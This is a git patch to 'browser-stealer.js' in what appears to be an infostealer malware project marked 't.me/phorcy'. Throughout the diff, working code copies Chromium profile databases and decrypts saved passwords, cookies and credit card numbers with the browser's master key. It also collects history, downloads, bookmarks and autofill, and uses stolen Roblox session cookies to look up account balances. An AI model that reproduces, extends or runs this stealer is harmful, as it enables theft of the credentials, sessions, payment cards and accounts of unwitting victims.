From f3d9936636be3f22b6b47eea56bf0e87289760a0 Mon Sep 17 00:00:00 2001 From: gumbobr0t <96620548+gumbobr0t@users.noreply.github.com> Date: Thu, 30 Nov 2023 21:05:37 +0100 Subject: [PATCH] Update browser-stealer.js --- Utils/browser-stealer.js | 227 ++++++++++++++------------------------- 1 file changed, 83 insertions(+), 144 deletions(-) diff --git a/Utils/browser-stealer.js b/Utils/browser-stealer.js index eaed66a..ffd7e34 100644 --- a/Utils/browser-stealer.js +++ b/Utils/browser-stealer.js @@ -63,11 +63,12 @@ class BrowserStealing { this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5']; this.tempDir = path.join(this.local, 'Temp'); - this.password_command = 'SELECT action_url, username_value, password_value FROM logins;'; - this.cookie_command = 'SELECT host_key, name, encrypted_value, expires_utc FROM cookies;'; - this.cc_command = 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards;'; - this.history_command = 'SELECT url, title, last_visit_time FROM urls;'; - this.downloads_command = 'SELECT tab_url, target_path FROM downloads;'; + //this.password_command = 'SELECT action_url, username_value, password_value FROM logins;'; + this.password_command = 'SELECT * FROM logins;'; + this.cookie_command = 'SELECT * FROM cookies;'; + this.cc_command = 'SELECT * FROM credit_cards;'; + this.history_command = 'SELECT * FROM urls;'; + this.downloads_command = 'SELECT * FROM downloads;'; this.autofill_command = 'SELECT * FROM autofill;'; this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt'); @@ -94,6 +95,24 @@ class BrowserStealing { return `${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}`; } + getDate(value) { + const date = new Date(value / 1000); + return date; + } + + decipher(masterKey, value) { + let first = value.slice(3, 15), + middle = value.slice(15, value.length - 16), + end = value.slice(value.length - 16, value.length); + + let decipher = crypto.createDecipheriv("aes-256-gcm", masterKey, first); + decipher.setAuthTag(end); + + let decrypted = decipher.update(middle, "base64", "utf-8") + decipher.final("utf-8"); + + return decrypted; + } + fileExists(filePath) { try { fs.accessSync(filePath, fs.constants.F_OK); @@ -103,7 +122,7 @@ class BrowserStealing { } } - getKey(local_stateFile, callback) { + async getKey(local_stateFile, callback) { fs.readFile(local_stateFile, 'utf8', (err, data) => { if (err) { console.error(err); @@ -121,7 +140,7 @@ class BrowserStealing { }); } - getPassword(loginFile, masterKey) { + async getPassword(loginFile, masterKey) { const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); fs.copyFile(loginFile, tempFile, (err) => { @@ -140,18 +159,12 @@ class BrowserStealing { console.error(err); } else { rows.map(row => { + //console.log(row); if (row && row['password_value']) { - let password_value = row['password_value']; - let start = password_value.slice(3, 15), - middle = password_value.slice(15, password_value.length - 16), - end = password_value.slice(password_value.length - 16, password_value.length), - decipher = crypto.createDecipheriv('aes-256-gcm', masterKey, start); - decipher.setAuthTag(end); - this.password_count++; - try { - const passwordList = `+------------------------+\n| URL: ${row.action_url ? row.action_url.toString() : ''} |\n| Username: ${row.username_value ? row.username_value.toString() : ''} |\n| Password: ${decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString()} |\n`; + //const passwordList = `${masterKey.toString('hex')}\t${row['origin_url']}\t${row['action_url']}\t${row['username_element']}\t${row['username_value']}\t${row['password_element']}\t${this.decipher(masterKey, row['password_value'])}\t${row['submit_element']}\t${row['signon_realm']}\t${this.getDate(parseInt(row['date_created']))}\t${row['blacklisted_by_user']}\t${row['scheme']}\t${row['password_type']}\t${row['times_used']}\t${row['form_data']}\t${row['display_name']}\t${row['icon_url']}\t${row['federation_url']}\t${row['skip_zero_click']}\t${row['generation_upload_status']}\t${row['possible_username_pairs']}\t${row['id']}\t${row[21]}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['moving_blocked_for']}\t${this.getDate(parseInt(row['date_password_modified']))}\t${row['sender_email']}\t${row['sender_name']}\t${row['date_received']}\t${row['sharing_notification_displayed']}\t${row['keychain_identifier']}\n`; + const passwordList = `Master Key: ${masterKey.toString('hex')}\nOrigin URL: ${row['origin_url']}\nAction URL: ${row['action_url']}\nUsername Element: ${row['username_element']}\nUsername Value: ${row['username_value']}\nPassword Element: ${row['password_element']}\nDeciphered Password: ${this.decipher(masterKey, row['password_value'])}\nSubmit Element: ${row['submit_element']}\nSignon Realm: ${row['signon_realm']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nBlacklisted by User: ${row['blacklisted_by_user']}\nScheme: ${row['scheme']}\nPassword Type: ${row['password_type']}\nTimes Used: ${row['times_used']}\nForm Data: ${row['form_data']}\nDisplay Name: ${row['display_name']}\nIcon URL: ${row['icon_url']}\nFederation URL: ${row['federation_url']}\nSkip Zero Click: ${row['skip_zero_click']}\nGeneration Upload Status: ${row['generation_upload_status']}\nPossible Username Pairs: ${row['possible_username_pairs']}\nID: ${row['id']}\nRow 21: ${row[21]}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nMoving Blocked For: ${row['moving_blocked_for']}\nDate Password Modified: ${this.getDate(parseInt(row['date_password_modified']))}\nSender Email: ${row['sender_email']}\nSender Name: ${row['sender_name']}\nDate Received: ${row['date_received']}\nSharing Notification Displayed: ${row['sharing_notification_displayed']}\nKeychain Identifier: ${row['keychain_identifier']}\n\n`; fs.writeFileSync(this.passwordFile, passwordList, { flag: 'a' }); } catch (err) { console.error(err); @@ -178,7 +191,7 @@ class BrowserStealing { } }; - getCookie(cookieFile, masterKey) { + async getCookie(cookieFile, masterKey) { const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); fs.copyFile(cookieFile, tempFile, (err) => { @@ -196,28 +209,19 @@ class BrowserStealing { if (err) { console.error(err); } else { - let decrypted; rows.map(row => { + //console.log(row); if (row && row['encrypted_value']) { - let cookie_value = row['encrypted_value']; - let first = cookie_value.slice(3, 15), - middle = cookie_value.slice( - 15, - cookie_value.length - 16 - ), - end = cookie_value.slice(cookie_value.length-16,cookie_value.length),decipher=crypto.createDecipheriv("aes-256-gcm",masterKey,first); - decipher.setAuthTag(end),decrypted=decipher.update(middle,"base64","utf-8")+decipher.final("utf-8"); - this.cookie_count++; - try { - const cookieList = `+------------------------+\n| Host: ${row["host_key"]} |\n| Name: ${row.name ? row.name.toString() : ''} |\n| Cookie value: ${decrypted} |\n| Expiration: ${row['expires_utc']} |\n`; + //const cookieList = `${masterKey.toString('hex')}\t${this.getDate(parseInt(row['creation_utc']))}\t${row['host_key']}\t${row['top_frame_site_key']}\t${row['name']}\t${row['value']}\t${this.decipher(masterKey, row['encrypted_value'])}\t${row['path']}\t${this.getDate(parseInt(row['expires_utc']))}\t${row['is_secure']}\t${row['is_httponly']}\t${this.getDate(parseInt(row['last_access_utc']))}\t${row['has_expires']}\t${row['is_persistent']}\t${row['priority']}\t${row['samesite']}\t${row['source_scheme']}\t${row['source_port']}\t${row['is_same_party']}\t${this.getDate(parseInt(row['last_update_utc']))}\n`; + const cookieList = `Master Key: ${masterKey.toString('hex')}\nCreation UTC: ${this.getDate(parseInt(row['creation_utc']))}\nHost Key: ${row['host_key']}\nTop Frame Site Key: ${row['top_frame_site_key']}\nName: ${row['name']}\nValue: ${row['value']}\nDeciphered Encrypted Value: ${this.decipher(masterKey, row['encrypted_value'])}\nPath: ${row['path']}\nExpires UTC: ${this.getDate(parseInt(row['expires_utc']))}\nIs Secure: ${row['is_secure']}\nIs HttpOnly: ${row['is_httponly']}\nLast Access UTC: ${this.getDate(parseInt(row['last_access_utc']))}\nHas Expires: ${row['has_expires']}\nIs Persistent: ${row['is_persistent']}\nPriority: ${row['priority']}\nSameSite: ${row['samesite']}\nSource Scheme: ${row['source_scheme']}\nSource Port: ${row['source_port']}\nIs Same Party: ${row['is_same_party']}\nLast Update UTC: ${this.getDate(parseInt(row['last_update_utc']))}\n\n`; fs.writeFileSync(this.cookieFile, cookieList, { flag: 'a' }); if ('.ROBLOSECURITY' === row.name.toString()) { this.roblox_count++; - const robloSecurityo = decrypted + const robloSecurityo = this.decipher(masterKey, row['encrypted_value']) //console.log(robloSecurityo); - let headers = { + let headers = { 'cookie': `.ROBLOSECURITY=${robloSecurityo};`, } @@ -225,7 +229,8 @@ class BrowserStealing { .then(response => { //console.log(response.data); if (response.data) { - let robloxData = `+------------------------+\n| Username: ${response.data['username']} |\n| User ID: ${response.data['userid']} |\n| Robux Balance: ${response.data['robuxbalance']} |\n| Is Premium? ${response.data['ispremium']} |\n| Cookie: ${robloSecurityo} |\n`; + //let robloxData = `${masterKey.toString('hex')}\t${response.data['username']}\t${response.data['userid']}\t${response.data['robuxbalance']}\t${response.data['ispremium']}\t${robloSecurityo}\n`; + let robloxData = `Master Key: ${masterKey.toString('hex')}\nUsername: ${response.data['username']}\nUser ID: ${response.data['userid']}\nRobux Balance: ${response.data['robuxbalance']}\nIs Premium: ${response.data['ispremium']}\nRoblox Security: ${robloSecurityo}\n\n`; fs.writeFileSync(this.robloxFile, robloxData, { flag: 'a' }); } }) @@ -259,7 +264,7 @@ class BrowserStealing { } }; - getCreditCard(ccFile, masterKey) { + async getCreditCard(ccFile, masterKey) { const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); fs.copyFile(ccFile, tempFile, (err) => { @@ -277,22 +282,13 @@ class BrowserStealing { if (err) { console.error(err); } else { - let decrypted; rows.map(row => { + //console.log(row); if (row && row['card_number_encrypted']) { - let cc_value = row['card_number_encrypted']; - let first = cc_value.slice(3, 15), - middle = cc_value.slice( - 15, - cc_value.length - 16 - ), - end = cc_value.slice(cc_value.length-16,cc_value.length),decipher=crypto.createDecipheriv("aes-256-gcm",masterKey,first); - decipher.setAuthTag(end),decrypted=decipher.update(middle,"base64","utf-8")+decipher.final("utf-8"); - this.cc_count++; - try { - const ccList = `+------------------------+\n| Name: ${row['name_on_card']} |\n| Credit Card Number: ${decrypted} |\n| Expiration: ${row['expiration_month']}/${row['expiration_year']} |\n`; + //const ccList = `${masterKey.toString('hex')}\t${row['guid']}\t${row['name_on_card']}\t${row['expiration_month']}/${row['expiration_year']}\t${this.decipher(masterKey, row['card_number_encrypted'])}\t${this.getDate(parseInt(row['date_modified']))}\t${row['origin']}\t${row['use_count']}\t${this.getDate(parseInt(row['use_date']))}\t${row['billing_adress_id']}\t${row['nickname']}\n`; + const ccList = `Master Key: ${masterKey.toString('hex')}\nGUID: ${row['guid']}\nName on Card: ${row['name_on_card']}\nExpiration Date: ${row['expiration_month']}/${row['expiration_year']}\nDeciphered Card Number: ${this.decipher(masterKey, row['card_number_encrypted'])}\nDate Modified: ${this.getDate(parseInt(row['date_modified']))}\nOrigin: ${row['origin']}\nUse Count: ${row['use_count']}\nUse Date: ${this.getDate(parseInt(row['use_date']))}\nBilling Address ID: ${row['billing_adress_id']}\nNickname: ${row['nickname']}\n\n`; fs.writeFileSync(this.ccFile, ccList, { flag: 'a' }); } catch (err) { console.error(err); @@ -319,7 +315,7 @@ class BrowserStealing { } }; - getHistory(historyFile) { + async getHistory(historyFile) { const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); fs.copyFile(historyFile, tempFile, (err) => { @@ -338,12 +334,12 @@ class BrowserStealing { console.error(err); } else { rows.map(row => { - if (row) { - + //console.log(row); + if (row && row['url']) { this.history_count++; - try { - const historyList = `+------------------------+\n| URL: ${row['url']} |\n| Title: ${row['title']} |\n| Last visit: ${row['last_visit_time']} |\n`; + //const historyList = `${row['id']}\t${row['url']}\t${row['title']}\t${row['visit_count']}\t${row['typed_count']}\t${this.getDate(parseInt(row['last_visit_time']))}\t${row['hidden']}\n`; + const historyList = `ID: ${row['id']}\nURL: ${row['url']}\nTitle: ${row['title']}\nVisit Count: ${row['visit_count']}\nTyped Count: ${row['typed_count']}\nLast Visit Time: ${this.getDate(parseInt(row['last_visit_time']))}\nHidden: ${row['hidden']}\n\n`; fs.writeFileSync(this.historyFile, historyList, { flag: 'a' }); } catch (err) { console.error(err); @@ -370,10 +366,10 @@ class BrowserStealing { } }; - getDownload(historyFile) { + async getDownload(downloadFile) { const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); - fs.copyFile(historyFile, tempFile, (err) => { + fs.copyFile(downloadFile, tempFile, (err) => { if (err) { console.error(err); } @@ -389,12 +385,12 @@ class BrowserStealing { console.error(err); } else { rows.map(row => { - if (row) { - + //console.log(row); + if (row && row['tab_url']) { this.downloads_count++; - try { - const downloadsList = `+------------------------+\n| Tab URL: ${row['tab_url']} |\n| Target Path: ${row['target_path']} |\n`; + //const downloadsList = `${row['id']}\t${row['guid']}\t${row['current_path']}\t${row['target_path']}\t${this.getDate(parseInt(row['start_time']))}\t${row['received_bytes']}\t${row['total_bytes']}\t${row['state']}\t${row['danger_type']}\t${row['interrupt_reason']}\t${row['hash']}\t${row[this.getDate(parseInt(row['end_time']))]}\t${row['opened']}\t${this.getDate(parseInt(row['last_access_time']))}\t${row['transient']}\t${row['referrer']}\t${row['site_url']}\t${row['embedder_download_data']}\t${row['tab_url']}\t${row['tab_referrer_url']}\t${row['http_method']}\t${row['by_ext_id']}\t${row['by_ext_name']}\t${row['by_web_app_id']}\t${row['etag']}\t${row['last_modified']}\t${row['mime_type']}\t${row['original_mime_type']}\n`; + const downloadsList = `ID: ${row['id']}\nGUID: ${row['guid']}\nCurrent Path: ${row['current_path']}\nTarget Path: ${row['target_path']}\nStart Time: ${this.getDate(parseInt(row['start_time']))}\nReceived Bytes: ${row['received_bytes']}\nTotal Bytes: ${row['total_bytes']}\nState: ${row['state']}\nDanger Type: ${row['danger_type']}\nInterrupt Reason: ${row['interrupt_reason']}\nHash: ${row['hash']}\nEnd Time: ${this.getDate(parseInt(row['end_time']))}\nOpened: ${row['opened']}\nLast Access Time: ${this.getDate(parseInt(row['last_access_time']))}\nTransient: ${row['transient']}\nReferrer: ${row['referrer']}\nSite URL: ${row['site_url']}\nEmbedder Download Data: ${row['embedder_download_data']}\nTab URL: ${row['tab_url']}\nTab Referrer URL: ${row['tab_referrer_url']}\nHTTP Method: ${row['http_method']}\nBy Extension ID: ${row['by_ext_id']}\nBy Extension Name: ${row['by_ext_name']}\nBy Web App ID: ${row['by_web_app_id']}\nETag: ${row['etag']}\nLast Modified: ${row['last_modified']}\nMIME Type: ${row['mime_type']}\nOriginal MIME Type: ${row['original_mime_type']}\n\n`; fs.writeFileSync(this.downloadsFile, downloadsList, { flag: 'a' }); } catch (err) { console.error(err); @@ -421,7 +417,7 @@ class BrowserStealing { } }; - getBookmark(bookmarkFile) { + async getBookmark(bookmarkFile) { const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); fs.copyFile(bookmarkFile, tempFile, (err) => { @@ -434,19 +430,18 @@ class BrowserStealing { console.error(err); return; } - let bookmarks = JSON.parse(data).roots.other.children; - + //console.log(bookmarks); try { for (const item of bookmarks) { - const bookmarkList = `+------------------------+\n| URL: ${item['url']} |\n| Name: ${item['name']} |\n| Type: ${item['type']} |\n| Last used: ${item['date_last_used']} |\n| Date added: ${item['date_added']} |\n`; + //const bookmarkList = `${this.getDate(parseInt(item['date_added']))}\t${this.getDate(parseInt(item['date_last_used']))}\t${item['guid']}\t${item['id']}\t${item['meta_info']}\t${item['name']}\t${item['type']}\t${item['url']}\n`; + const bookmarkList = `Date Added: ${this.getDate(parseInt(item['date_added']))}\nDate Last Used: ${this.getDate(parseInt(item['date_last_used']))}\nGUID: ${item['guid']}\nID: ${item['id']}\nMeta Info: ${item['meta_info']}\nName: ${item['name']}\nType: ${item['type']}\nURL: ${item['url']}\n\n`; fs.writeFileSync(this.bookmarkFile, bookmarkList, { flag: 'a' }); this.bookmark_count++; } } catch (err) { console.error(err); } - console.log('Bookmark count:', this.bookmark_count) }); }); @@ -460,7 +455,7 @@ class BrowserStealing { } }; - getAutofill(autofillFile, masterKey) { + async getAutofill(autofillFile) { const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); fs.copyFile(autofillFile, tempFile, (err) => { @@ -480,12 +475,11 @@ class BrowserStealing { } else { rows.map(row => { //console.log(row); - if (row) { - + if (row && row['value']) { this.autofill_count++; - try { - const autofillList = `+------------------------+\n| Name: ${row['name']} |\n| Value: ${row['value']} |\n| Value_Lower: ${row['value_lower']} |\n| Date Created: ${row['date_created']} |\n| Date Last Used: ${row['date_last_used']} |\n| Count: ${row['count']} |\n`; + //const autofillList = `${row['name']}\t${row['value']}\t${row['value_lower']}\t${this.getDate(parseInt(row['date_created']))}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['count']}\n`; + const autofillList = `Name: ${row['name']}\nValue: ${row['value']}\nLowercase Value: ${row['value_lower']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nCount: ${row['count']}\n\n`; fs.writeFileSync(this.autofillFile, autofillList, { flag: 'a' }); } catch (err) { console.error(err); @@ -522,8 +516,11 @@ class BrowserStealing { } } - // password grabber + // password, cookie, cc grabber fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.robloxFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.cookieFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.ccFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); for (const browserPath of this.browserPaths) { if (this.fileExists(browserPath)) { const localState = path.join(browserPath, 'Local State'); @@ -532,64 +529,39 @@ class BrowserStealing { const passwordFile = path.join(browserPath, profile, 'Login Data'); if (this.fileExists(passwordFile)) { try { - this.getKey(localState, (err, key) => { + this.getKey(localState, async (err, key) => { if (err) { console.error(err); } else { - this.getPassword(passwordFile, key); + await this.getPassword(passwordFile, key); } }); } catch (err) { console.error(err); } } - } - } - } - } - - // cookie grabber - fs.writeFileSync(this.robloxFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - fs.writeFileSync(this.cookieFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - for (const browserPath of this.browserPaths) { - if (this.fileExists(browserPath)) { - const localState = path.join(browserPath, 'Local State'); - if (this.fileExists(localState)) { - for (const profile of this.browserProfiles) { const cookieFile = path.join(browserPath, profile, 'Network', 'Cookies'); if (this.fileExists(cookieFile)) { try { - this.getKey(localState, (err, key) => { + this.getKey(localState, async (err, key) => { if (err) { console.error(err); } else { - this.getCookie(cookieFile, key); + await this.getCookie(cookieFile, key); } }); } catch (err) { console.error(err); } } - } - } - } - } - - // cc grabber - fs.writeFileSync(this.ccFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - for (const browserPath of this.browserPaths) { - if (this.fileExists(browserPath)) { - const localState = path.join(browserPath, 'Local State'); - if (this.fileExists(localState)) { - for (const profile of this.browserProfiles) { const ccFile = path.join(browserPath, profile, 'Web Data'); if (this.fileExists(ccFile)) { try { - this.getKey(localState, (err, key) => { + this.getKey(localState, async (err, key) => { if (err) { console.error(err); } else { - this.getCreditCard(ccFile, key); + await this.getCreditCard(ccFile, key); } }); } catch (err) { @@ -601,77 +573,44 @@ class BrowserStealing { } } - // history grabber + // history, downloads, bookmark, autofill grabber fs.writeFileSync(this.historyFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.downloadsFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.bookmarkFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.autofillFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); for (const browserPath of this.browserPaths) { if (this.fileExists(browserPath)) { for (const profile of this.browserProfiles) { const historyFile = path.join(browserPath, profile, 'History'); if (this.fileExists(historyFile)) { try { - this.getHistory(historyFile); + await this.getHistory(historyFile); } catch (err) { console.error(err); } } - } - } - } - - // downloads grabber - fs.writeFileSync(this.downloadsFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - for (const browserPath of this.browserPaths) { - if (this.fileExists(browserPath)) { - for (const profile of this.browserProfiles) { const downloadsFile = path.join(browserPath, profile, 'History'); if (this.fileExists(downloadsFile)) { try { - this.getDownload(downloadsFile); + await this.getDownload(downloadsFile); } catch (err) { console.error(err); } } - } - } - } - - // bookmark grabber - fs.writeFileSync(this.bookmarkFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - for (const browserPath of this.browserPaths) { - if (this.fileExists(browserPath)) { - for (const profile of this.browserProfiles) { const bookmarkFile = path.join(browserPath, profile, 'Bookmarks'); if (this.fileExists(bookmarkFile)) { try { - this.getBookmark(bookmarkFile); + await this.getBookmark(bookmarkFile); } catch (err) { console.error(err); } } - } - } - } - - // autofill grabber - fs.writeFileSync(this.autofillFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - for (const browserPath of this.browserPaths) { - if (this.fileExists(browserPath)) { - const localState = path.join(browserPath, 'Local State'); - if (this.fileExists(localState)) { - for (const profile of this.browserProfiles) { - const autofillFile = path.join(browserPath, profile, 'Web Data'); - if (this.fileExists(autofillFile)) { - try { - this.getKey(localState, (err, key) => { - if (err) { - console.error(err); - } else { - this.getAutofill(autofillFile, key); - } - }); - } catch (err) { - console.error(err); - } + const autofillFile = path.join(browserPath, profile, 'Web Data'); + if (this.fileExists(autofillFile)) { + try { + await this.getAutofill(autofillFile); + } catch (err) { + console.error(err); } } }